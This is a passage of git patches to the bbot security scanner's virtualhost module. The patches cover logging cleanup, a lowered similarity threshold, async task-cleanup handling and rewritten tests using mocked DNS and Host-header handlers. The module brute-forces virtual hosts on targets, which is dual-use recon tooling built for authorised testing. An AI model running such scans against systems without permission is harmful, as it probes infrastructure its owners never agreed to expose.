parent=scan.root_event) storage_bucket = scan.make_event( From 9940355bfcc38f3e2e87cfe7a134be716f492ad9 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Sep 2025 13:14:02 -0400 Subject: [PATCH 028/129] lint --- bbot/test/bbot_fixtures.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 76b432cce7..0180ef2567 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -181,7 +181,9 @@ class bbot_events: ) finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) virtualhost = scan.make_event( - {"host": "evilcorp.com", "virtual_host": "www.evilcorp.com", "description": "Test virtual host"}, "VIRTUAL_HOST", parent=scan.root_event + {"host": "evilcorp.com", "virtual_host": "www.evilcorp.com", "description": "Test virtual host"}, + "VIRTUAL_HOST", + parent=scan.root_event, ) http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) storage_bucket = scan.make_event( From 525481eec55a296d3e81f2534828ad507e4f3076 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Sep 2025 14:07:27 -0400 Subject: [PATCH 029/129] yanking debug stuff, polishing --- bbot/modules/virtualhost.py | 98 ++++++++++++++----------------------- 1 file changed, 36 insertions(+), 62 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 40561c45d7..4aa7028385 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -17,7 +17,7 @@ class virtualhost(BaseModule): deps_pip = ["rapidfuzz", "xxhash"] deps_common = ["curl"] - SIMILARITY_THRESHOLD = 0.75 + SIMILARITY_THRESHOLD = 0.6 CANARY_LENGTH = 12 special_virtualhost_list = ["127.0.0.1", "localhost", "host.docker.internal"] @@ -50,6 +50,7 @@ class virtualhost(BaseModule): virtualhost_ignore_strings = [ "We weren't able to find your Azure Front Door Service", + "The http request header is incorrect.", ] async def setup(self): @@ -87,7 +88,7 @@ async def handle_event(self, event): baseline_response = await self.helpers.web.curl(url=f"{event.parsed_url.scheme}://{basehost}") if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response): - self.critical(f"SKIPPING {normalized_url} - failed virtual host wildcard check") + self.verbose(f"Skipping {normalized_url} - failed virtual host wildcard check") return None # Phase 1: Main virtual host bruteforce @@ -106,7 +107,7 @@ async def handle_event(self, event): # Phase 2: Check existing host for mutations if self.config.get("mutation_check", True): - self.critical(f"=== Starting mutations check on {normalized_url} ===") + self.verbose(f"=== Starting mutations check on {normalized_url} ===") await self._run_virtualhost_phase( "Mutations on target host", normalized_url, @@ -267,8 +268,7 @@ async def _is_host_accessible(self, url): else: return False except CurlError as e: - # Error making request - treat as not accessible - self.critical(f"Error checking accessibility of {url}: {e}") + self.debug(f"Error checking accessibility of {url}: {e}") return False async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, probe_response): @@ -305,9 +305,11 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, similarity = self.get_content_similarity(probe_response, final_canary_response) result = similarity <= self.SIMILARITY_THRESHOLD - self.critical( - f"Wildcard check: {probe_host} vs {modified_host} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> {'PASS' if result else 'FAIL (wildcard)'}" - ) + # Only log when wildcard is detected (failure case) + if not result: + self.verbose( + f"Wildcard check: {probe_host} vs {modified_host} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> FAIL (wildcard detected)" + ) return result # True if they're different (good), False if similar (wildcard) async def _run_virtualhost_phase( @@ -483,29 +485,24 @@ async def curl_virtualhost( max_results = 50 # Get limit for early exit check async for completed in self.helpers.as_completed(coroutine_generator, self.max_concurrent): - try: - result = await completed - if result: # Only append non-None results - virtual_host_results.append(result) - - # Early exit if we're clearly hitting false positives - if len(virtual_host_results) >= max_results: - self.warning( - f"Early exit: found {len(virtual_host_results)} virtual hosts (limit: {max_results}), likely false positives - stopping further tests" - ) - break - - except Exception as e: - self.critical(f"Unexpected exception during virtual host testing: {type(e).__name__}: {e}") - # Continue processing other tasks instead of stopping everything + result = await completed + if result: # Only append non-None results + virtual_host_results.append(result) + + # Early exit if we're clearly hitting false positives + if len(virtual_host_results) >= max_results: + self.warning( + f"Early exit: found {len(virtual_host_results)} virtual hosts (limit: {max_results}), likely false positives - stopping further tests" + ) + break except CurlError as e: - self.critical(f"CurlError in as_completed, stopping all tests: {e}") + self.warning(f"CurlError in as_completed, stopping all tests: {e}") return [] # Final safeguard: check result count (now mostly redundant due to early exit) max_results = 50 # Configurable threshold if len(virtual_host_results) > max_results: - self.critical( + self.verbose( f"Found {len(virtual_host_results)} virtual hosts (limit: {max_results}), likely false positives - rejecting all results" ) return [] @@ -570,12 +567,10 @@ async def _test_virtualhost( if not await self._verify_canary( event, canary_response, canary_mode, normalized_url, probe_host, is_https, basehost, host_ip ): - self.critical(f"Canary changed since initial test, rejecting {probe_host}") - raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") - else: - self.critical( - f"Canary consistency verified for {probe_host}. Still has code of {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" + self.verbose( + f"Canary changed since initial test, rejecting {probe_host}. Original canary had code {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" ) + raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") # Don't emit if this would be the same as the original netloc if probe_host != event.parsed_url.netloc: @@ -656,11 +651,9 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): # Debug logging only when we think we found a match if similarity <= self.SIMILARITY_THRESHOLD: - self.critical( - f"POTENTIAL MATCH DEBUG: {probe_host} vs canary = {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD})" + self.verbose( + f"POTENTIAL MATCH: {probe_host} vs canary - similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}), probe status: {probe_status}, canary status: {canary_status}" ) - self.critical(f"PROBE STATUS: {probe_status}") - self.critical(f"CANARY STATUS: {canary_status}") return similarity @@ -719,41 +712,21 @@ async def _verify_canary( # Check if HTTP codes are different first (hard failure) if original_canary_response["http_code"] != current_canary_response["http_code"]: - self.hugewarning(f"CANARY HTTP CODE CHANGED for {normalized_url}") - - # Original canary details - self.hugewarning( - f"ORIGINAL CANARY - URL: {original_canary_response.get('url', 'N/A')} | Method: {original_canary_response.get('method', 'N/A')} | Status: {original_canary_response.get('http_code', 'N/A')} | Size: {len(original_canary_response.get('response_data', ''))} bytes" - ) - - # Current canary details - self.hugewarning( - f"CURRENT CANARY - URL: {current_canary_response.get('url', 'N/A')} | Method: {current_canary_response.get('method', 'N/A')} | Status: {current_canary_response.get('http_code', 'N/A')} | Size: {len(current_canary_response.get('response_data', ''))} bytes" + self.verbose( + f"CANARY HTTP CODE CHANGED for {normalized_url} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {current_canary_response.get('http_code', 'N/A')} ({len(current_canary_response.get('response_data', ''))} bytes)" ) - return False - # Fast path: if response data is exactly the same, we're good + # if response data is exactly the same, we're good if original_canary_response["response_data"] == current_canary_response["response_data"]: return True - # Fallback: use similarity comparison for response data (allows slight differences) + # Fallback - use similarity comparison for response data (allows slight differences) similarity = self.get_content_similarity(original_canary_response, current_canary_response) if similarity < self.SIMILARITY_THRESHOLD: - self.hugewarning( - f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD}" - ) - - # Original canary details - self.hugewarning( - f"ORIGINAL CANARY - URL: {original_canary_response.get('url', 'N/A')} | Method: {original_canary_response.get('method', 'N/A')} | Status: {original_canary_response.get('http_code', 'N/A')} | Size: {len(original_canary_response.get('response_data', ''))} bytes" + self.verbose( + f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {current_canary_response.get('http_code', 'N/A')} ({len(current_canary_response.get('response_data', ''))} bytes)" ) - - # Current canary details - self.hugewarning( - f"CURRENT CANARY - URL: {current_canary_response.get('url', 'N/A')} | Method: {current_canary_response.get('method', 'N/A')} | Status: {current_canary_response.get('http_code', 'N/A')} | Size: {len(current_canary_response.get('response_data', ''))} bytes" - ) - return False return True @@ -806,8 +779,9 @@ async def finish(self): return tempfile = self.helpers.tempfile(list(self.helpers.word_cloud.keys()), pipe=False) - self.hugeinfo(f"=== Starting wordcloud mutations on {len(self.scanned_hosts)} hosts ===") - self.hugeinfo(f"Using {len(list(self.helpers.word_cloud.keys()))} words from wordcloud") + self.verbose( + f"Starting wordcloud mutations on {len(self.scanned_hosts)} hosts using {len(list(self.helpers.word_cloud.keys()))} words from wordcloud" + ) for host, event in self.scanned_hosts.items(): if host not in self.wordcloud_tried_hosts: From b3757ec2dd2b02bc0822f3619d169b2a7fce1a8f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Sep 2025 14:15:10 -0400 Subject: [PATCH 030/129] make curl command message debug only --- bbot/core/helpers/web/web.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index e14dc23696..903e7bd1a9 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -479,7 +479,7 @@ async def curl(self, *args, **kwargs): # Always add JSON --write-out format with separator curl_command.extend(["-w", "\\n---CURL_METADATA---\\n%{json}"]) - log.verbose(f"Running curl command: {curl_command}") + log.debug(f"Running curl command: {curl_command}") output = (await self.parent_helper.run(curl_command)).stdout # Parse the output to separate content and metadata From f160f00c56750774f309827c6c6acf5608e20d59 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 4 Sep 2025 17:24:07 -0400 Subject: [PATCH 031/129] finish() scan bug fix --- bbot/modules/virtualhost.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 4aa7028385..6d0bb04b15 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -14,7 +14,7 @@ class virtualhost(BaseModule): flags = ["active", "aggressive", "slow", "deadly"] meta = {"description": "Fuzz for virtual hosts", "created_date": "2022-05-02", "author": "@liquidsec"} - deps_pip = ["rapidfuzz", "xxhash"] + deps_pip = ["rapidfuzz"] deps_common = ["curl"] SIMILARITY_THRESHOLD = 0.6 @@ -785,15 +785,15 @@ async def finish(self): for host, event in self.scanned_hosts.items(): if host not in self.wordcloud_tried_hosts: - event.parsed_url = urlparse(host) + host_parsed_url = urlparse(host) if self.config.get("force_basehost"): basehost = self.config.get("force_basehost") else: - basehost = self.helpers.parent_domain(event.parsed_url.netloc) + basehost = self.helpers.parent_domain(host_parsed_url.netloc) # Get fresh canary and original response for this host - is_https = event.parsed_url.scheme == "https" + is_https = host_parsed_url.scheme == "https" host_ip = next(iter(event.resolved_hosts)) await self._run_virtualhost_phase( From 978b5cd124de2e8f0726b9328303b879663e8bd1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Sep 2025 14:09:33 -0400 Subject: [PATCH 032/129] go mariners --- bbot/core/helpers/names_generator.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/bbot/core/helpers/names_generator.py b/bbot/core/helpers/names_generator.py index 9c0da33607..53ffd98a3c 100644 --- a/bbot/core/helpers/names_generator.py +++ b/bbot/core/helpers/names_generator.py @@ -43,6 +43,7 @@ "cryptic", "cuddly", "cute", + "cursed", "dark", "dastardly", "decrypted", @@ -157,6 +158,7 @@ "mushy", "mysterious", "nascent", + "nautical", "naughty", "nefarious", "negligent", @@ -169,6 +171,7 @@ "overmedicated", "overwhelming", "overzealous", + "pacific", "paranoid", "pasty", "peckish", @@ -346,8 +349,10 @@ "brianna", "brittany", "bruce", + "buhner", "bryan", "caitlyn", + "cal", "caleb", "cameron", "carl", @@ -457,6 +462,7 @@ "goldberry", "gollum", "grace", + "griffey", "gregory", "gus", "hagrid", @@ -472,6 +478,7 @@ "homer", "howard", "hunter", + "ichiro", "irene", "isaac", "isabella", @@ -514,6 +521,7 @@ "judith", "judy", "julia", + "julio", "julie", "justin", "karen", @@ -547,6 +555,7 @@ "logan", "lois", "lori", + "lou", "louis", "louise", "lucius", @@ -578,6 +587,7 @@ "mildred", "milhouse", "monica", + "moose", "nancy", "natalie", "nathan", @@ -693,6 +703,7 @@ "wayne", "wendy", "william", + "wilson", "willie", "worf", "wormtongue", From 7def33279cd8be376ab3e7e0725ebd059a89ce99 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 5 Sep 2025 14:11:05 -0400 Subject: [PATCH 033/129] as_completed error handling, tests --- bbot/core/helpers/command.py | 2 +- bbot/core/helpers/misc.py | 72 ++- .../module_tests/test_module_virtualhost.py | 471 +++++++++++++++--- 3 files changed, 451 insertions(+), 94 deletions(-) diff --git a/bbot/core/helpers/command.py b/bbot/core/helpers/command.py index 7da96bbd38..49bb3862ad 100644 --- a/bbot/core/helpers/command.py +++ b/bbot/core/helpers/command.py @@ -195,7 +195,7 @@ async def _spawn_proc(self, *command, **kwargs): raise ValueError("stdin and input arguments may not both be used.") kwargs["stdin"] = asyncio.subprocess.PIPE - log.hugeverbose(f"run: {' '.join(command)}") + log.debug(f"run: {' '.join(command)}") try: proc = await asyncio.create_subprocess_exec(*command, **kwargs) return proc, _input, command diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 3d35871271..6529c72e4a 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2598,12 +2598,28 @@ async def as_completed( """ Yield completed coroutines as they finish with optional concurrency limiting. All coroutines are scheduled as tasks internally for execution. + + Guarantees cleanup: + - If the consumer breaks early or an internal cancellation is detected, all remaining + tasks are cancelled and awaited (with return_exceptions=True) to avoid + "Task exception was never retrieved" warnings. """ it = iter(coroutines) - # Prime the running set up to the concurrency limit (or all, if unlimited) - running = set() + running: set[asyncio.Task] = set() limit = max_concurrent or float("inf") + + async def _cancel_and_drain_remaining(): + if not running: + return + for t in running: + t.cancel() + try: + await asyncio.gather(*running, return_exceptions=True) + finally: + running.clear() + + # Prime the running set up to the concurrency limit (or all, if unlimited) try: while len(running) < limit: coro = next(it) @@ -2611,17 +2627,47 @@ async def as_completed( except StopIteration: pass - # Drain: yield completed tasks, backfill from the iterator as slots free up - while running: - done, running = await asyncio.wait(running, return_when=asyncio.FIRST_COMPLETED) - for task in done: - # Immediately backfill one slot per completed task, if more work remains - try: - coro = next(it) - running.add(asyncio.create_task(coro)) - except StopIteration: - pass - yield task + # Dedup state for repeated error messages + _last_err = {"msg": None, "count": 0} + + try: + # Drain: yield completed tasks, backfill from the iterator as slots free up + while running: + done, running = await asyncio.wait(running, return_when=asyncio.FIRST_COMPLETED) + for task in done: + # Immediately backfill one slot per completed task, if more work remains + try: + coro = next(it) + running.add(asyncio.create_task(coro)) + except StopIteration: + pass + + # If task raised, handle cancellation gracefully and dedupe noisy repeats + if task.exception() is not None: + e = task.exception() + if in_exception_chain(e, (KeyboardInterrupt, asyncio.CancelledError)): + # Quietly stop if we're being cancelled + log.info("as_completed: cancellation detected; exiting early") + await _cancel_and_drain_remaining() + return + # Build a concise message + msg = f"as_completed yielded exception: {e}" + if msg == _last_err["msg"]: + _last_err["count"] += 1 + if _last_err["count"] <= 3: + log.warning(msg) + elif _last_err["count"] % 10 == 0: + log.warning(f"{msg} (repeated {_last_err['count']}x)") + else: + log.debug(msg) + else: + _last_err["msg"] = msg + _last_err["count"] = 1 + log.warning(msg) + yield task + finally: + # If the consumer breaks early or an error bubbles, ensure we don't leak tasks + await _cancel_and_drain_remaining() def get_waf_strings(): diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index b38928db6d..654ab71f69 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -39,20 +39,57 @@ class TestVirtualhostSpecialHosts(VirtualhostTestBase): } } + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_special" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://localhost:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_special"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved_hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + def request_handler(self, request): host_header = request.headers.get("Host", "").lower() - # Baseline request to localhost - if not host_header or host_header == "localhost:8888": + # Baseline request to localhost (with or without port) + if not host_header or host_header in ["localhost", "localhost:8888"]: return Response("baseline response from localhost", status=200) # Wildcard canary check - if re.match(r"[a-z]ocalhost:8888", host_header): + if re.match(r"[a-z]ocalhost(?::8888)?$", host_header): return Response("different wildcard response", status=404) # Random canary requests (12 lowercase letters .com) - if re.match(r"[a-z]{12}\.com", host_header): - return Response("canary response for random", status=404) + if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header): + return Response( + """ +404 Not Found

Not Found

Random canary host.

""", + status=404, + ) # Special hosts responses - return different content than canary if host_header == "host.docker.internal": @@ -62,8 +99,12 @@ def request_handler(self, request): if host_header == "localhost": return Response("Localhost virtual host active", status=200) - # Default for any other requests - return Response("default response", status=404) + # Default for any other requests - match canary content to avoid false positives + return Response( + """ +404 Not Found

Not Found

Random canary host.

""", + status=404, + ) def check(self, module_test, events): special_hosts_found = set() @@ -75,9 +116,10 @@ def check(self, module_test, events): # Test description elements to ensure they are as expected description = e.data["description"] - assert "Discovery Technique: [Special virtual host list" in description, ( - f"Description missing discovery technique: {description}" - ) + assert ( + "Discovery Technique: [Special virtual host list" in description + or "Discovery Technique: [Mutations on discovered" in description + ), f"Description missing or unexpected discovery technique: {description}" assert "Status Code:" in description, f"Description missing status code: {description}" assert "Size:" in description and "bytes" in description, ( f"Description missing size: {description}" @@ -89,16 +131,15 @@ def check(self, module_test, events): class TestVirtualhostBruteForce(VirtualhostTestBase): - """Test subdomain brute-force detection using HTTP Host headers without DNS resolution""" + """Test subdomain brute-force detection using HTTP Host headers""" - targets = ["http://127.0.0.1:8888"] # Use IP to avoid DNS resolution - modules_overrides = ["httpx", "virtualhost"] + targets = ["http://test.example:8888"] + modules_overrides = ["virtualhost"] # Remove httpx, we'll manually create URL events test_wordlist = ["admin", "api", "test"] config_overrides = { "modules": { "virtualhost": { "brute_wordlist": tempwordlist(test_wordlist), - "force_basehost": "localhost", # Force basehost to avoid DNS issues "subdomain_brute": True, # Enable brute force "mutation_check": False, # Focus on brute force only "special_hosts": False, # Focus on brute force only @@ -109,27 +150,65 @@ class TestVirtualhostBruteForce(VirtualhostTestBase): } } + async def setup_after_prep(self, module_test): + # Call parent setup_after_prep to set up the HTTP server with request_handler + await super().setup_after_prep(module_test) + + # Set up DNS mocking for test.example to resolve to 127.0.0.1 + await module_test.mock_dns({"test.example": {"A": ["127.0.0.1"]}}) + + # Create a dummy module that will emit the URL event during the scan + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + # Create and emit URL event for virtualhost module to process + url_event = self.scan.make_event( + "http://test.example:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"] + ) + await self.emit_event(url_event) + + # Add the dummy module to the scan + dummy_module = DummyModule(module_test.scan) + module_test.scan.modules["dummy_module"] = dummy_module + + # Patch virtualhost to inject resolved_hosts for URL events during the test + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + def request_handler(self, request): + from werkzeug.wrappers import Response + host_header = request.headers.get("Host", "").lower() - # Baseline request to the IP - if not host_header or host_header == "127.0.0.1:8888": - return Response("baseline response from 127.0.0.1", status=200) + # Baseline request to test.example or example (with or without port) + if not host_header or host_header in ["test.example", "test.example:8888", "example", "example:8888"]: + return Response("baseline response from example baseline", status=200) - # Wildcard canary check - using forced basehost "localhost" - if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): # Modified basehost + # Wildcard canary check - change one character in test.example + if re.match(r"[a-z]est\.example", host_header): return Response("wildcard canary different response", status=404) - # Brute-force canary requests - random string + .localhost - if re.match(r"[a-z]{12}\.localhost:8888", host_header): + # Brute-force canary requests - random string + .test.example (with optional port) + if re.match(r"^[a-z]{12}\.test\.example(?::8888)?$", host_header): return Response("subdomain canary response", status=404) - # Brute-force matches - return different content than canary - if host_header in ["admin.localhost", "admin.localhost:8888"]: + # Brute-force matches on discovered basehost (admin|api|test).test.example (with optional port) + if host_header in ["admin.test.example", "admin.test.example:8888"]: return Response("Admin panel found here!", status=200) - if host_header in ["api.localhost", "api.localhost:8888"]: + if host_header in ["api.test.example", "api.test.example:8888"]: return Response("API endpoint found here!", status=200) - if host_header in ["test.localhost", "test.localhost:8888"]: + if host_header in ["test.test.example", "test.test.example:8888"]: return Response("Test environment found here!", status=200) # Default response @@ -137,24 +216,25 @@ def request_handler(self, request): def check(self, module_test, events): brute_hosts_found = set() + print(f"\nDEBUG: Found {len(events)} events:") for e in events: + print(f" {e.type}: {e.data if hasattr(e, 'data') else 'N/A'}") if e.type == "VIRTUAL_HOST": vhost = e.data["virtual_host"] - if vhost in ["admin.localhost", "api.localhost", "test.localhost"]: + if vhost in ["admin.test.example", "api.test.example", "test.test.example"]: brute_hosts_found.add(vhost) assert len(brute_hosts_found) >= 1, f"Failed to detect brute-force virtual hosts. Found: {brute_hosts_found}" class TestVirtualhostMutations(VirtualhostTestBase): - """Test host mutation detection using HTTP Host headers without DNS resolution""" + """Test host mutation detection using HTTP Host headers""" - targets = ["http://127.0.0.1:8888"] # Use IP to avoid DNS resolution + targets = ["http://target.test:8888"] modules_overrides = ["httpx", "virtualhost"] config_overrides = { "modules": { "virtualhost": { - "force_basehost": "localhost", # Force basehost to avoid DNS issues "subdomain_brute": False, # Focus on mutations only "mutation_check": True, # Enable mutations "special_hosts": False, # Focus on mutations only @@ -165,46 +245,85 @@ class TestVirtualhostMutations(VirtualhostTestBase): } } + async def setup_before_prep(self, module_test): + # Call parent setup first + await super().setup_before_prep(module_test) + + # Set up DNS mocking for target.test + await module_test.mock_dns({"target.test": {"A": ["127.0.0.1"]}}) + + # Mock wordcloud.mutations to return predictable results for "target" + def mock_mutations(self, word, **kwargs): + # Return realistic mutations that would be found for "target" + return [ + [word, "dev"], # targetdev, target-dev + ["dev", word], # devtarget, dev-target + [word, "test"], # targettest, target-test + ] + + module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.mutations", mock_mutations) + + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_mut" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://target.test:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_mut"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + def request_handler(self, request): host_header = request.headers.get("Host", "").lower() - # Baseline request to the IP - if not host_header or host_header == "127.0.0.1:8888": - return Response("baseline response from 127.0.0.1", status=200) + # Baseline request to target.test (with or without port) + if not host_header or host_header in ["target.test", "target.test:8888"]: + return Response("baseline response from target.test", status=200) # Wildcard canary check - if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): # Modified IP + if re.match(r"[a-z]arget\.test(?::8888)?$", host_header): # Modified target.test return Response("wildcard canary response", status=404) # Mutation canary requests (4 chars + dash + original host) - if re.match(r"[a-z]{4}-127\.0\.0\.1:8888", host_header): - return Response("mutation canary response", status=404) + if re.match(r"^[a-z]{4}-target\.test(?::8888)?$", host_header): + return Response("Mutation Canary", status=404) # Word cloud mutation matches - return different content than canary - if host_header in ["127dev.localhost:8888", "127-dev.localhost:8888"]: - return Response("Development 127 found!", status=200) - if host_header in ["dev127.localhost:8888", "dev-127.localhost:8888"]: - return Response("Dev 127 found!", status=200) - if host_header in ["127test.localhost:8888", "127-test.localhost:8888"]: - return Response("Test 127 found!", status=200) + if host_header in ["targetdev.test", "targetdev.test:8888", "target-dev.test", "target-dev.test:8888"]: + return Response("Development target found!", status=200) + if host_header in ["devtarget.test", "devtarget.test:8888", "dev-target.test", "dev-target.test:8888"]: + return Response("Dev target found!", status=200) + if host_header in ["targettest.test", "targettest.test:8888", "target-test.test", "target-test.test:8888"]: + return Response("Test target found!", status=200) # Default response - return Response("default response", status=404) - - async def setup_before_prep(self, module_test): - # Call parent setup first - await super().setup_before_prep(module_test) - - # Mock wordcloud.mutations to return predictable results for IP-based target - def mock_mutations(self, word, **kwargs): - # Return realistic mutations that would be found for "127" - return [ - [word, "dev"], # 127dev, 127-dev - ["dev", word], # dev127, dev-127 - [word, "test"], # 127test, 127-test - ] - - module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.mutations", mock_mutations) + return Response( + """\n404 Not Found

Not Found

Default handler response.

""", + status=404, + ) def check(self, module_test, events): mutation_hosts_found = set() @@ -212,7 +331,7 @@ def check(self, module_test, events): if e.type == "VIRTUAL_HOST": vhost = e.data["virtual_host"] # Look for mutation patterns with dev/test - if any(word in vhost for word in ["dev", "test"]) and "127" in vhost: + if any(word in vhost for word in ["dev", "test"]) and "target" in vhost: mutation_hosts_found.add(vhost) assert len(mutation_hosts_found) >= 1, ( @@ -221,14 +340,13 @@ def check(self, module_test, events): class TestVirtualhostWordcloud(VirtualhostTestBase): - """Test finish() wordcloud-based detection using HTTP Host headers without DNS resolution""" + """Test finish() wordcloud-based detection using HTTP Host headers""" - targets = ["http://127.0.0.1:8888"] # Use IP to avoid DNS resolution + targets = ["http://wordcloud.test:8888"] modules_overrides = ["httpx", "virtualhost"] config_overrides = { "modules": { "virtualhost": { - "force_basehost": "localhost", # Force basehost to avoid DNS issues "subdomain_brute": False, # Focus on wordcloud only "mutation_check": False, # Focus on wordcloud only "special_hosts": False, # Focus on wordcloud only @@ -239,48 +357,84 @@ class TestVirtualhostWordcloud(VirtualhostTestBase): } } + async def setup_before_prep(self, module_test): + # Call parent setup first + await super().setup_before_prep(module_test) + + # Set up DNS mocking for wordcloud.test + await module_test.mock_dns({"wordcloud.test": {"A": ["127.0.0.1"]}}) + + # Mock wordcloud to have some common words + def mock_wordcloud_keys(self): + return ["staging", "prod", "dev", "admin", "api"] + + module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.keys", mock_wordcloud_keys) + + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_wc" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://wordcloud.test:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_wc"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + def request_handler(self, request): host_header = request.headers.get("Host", "").lower() - # Baseline request to the IP - if not host_header or host_header == "127.0.0.1:8888": - return Response("baseline response from 127.0.0.1", status=200) + # Baseline request to wordcloud.test (with or without port) + if not host_header or host_header in ["wordcloud.test", "wordcloud.test:8888"]: + return Response("baseline response from wordcloud.test", status=200) # Wildcard canary check - if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): # Modified IP + if re.match(r"[a-z]ordcloud\.test(?::8888)?$", host_header): # Modified wordcloud.test return Response("wildcard canary response", status=404) # Random canary requests (12 chars + .com) - if re.match(r"[a-z]{12}\.com", host_header): + if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header): return Response("random canary response", status=404) # Wordcloud-based matches - these are checked in finish() - if host_header == "staging.localhost:8888": + if host_header in ["staging.wordcloud.test", "staging.wordcloud.test:8888"]: return Response("Staging environment found!", status=200) - if host_header == "prod.localhost:8888": + if host_header in ["prod.wordcloud.test", "prod.wordcloud.test:8888"]: return Response("Production environment found!", status=200) - if host_header == "dev.localhost:8888": + if host_header in ["dev.wordcloud.test", 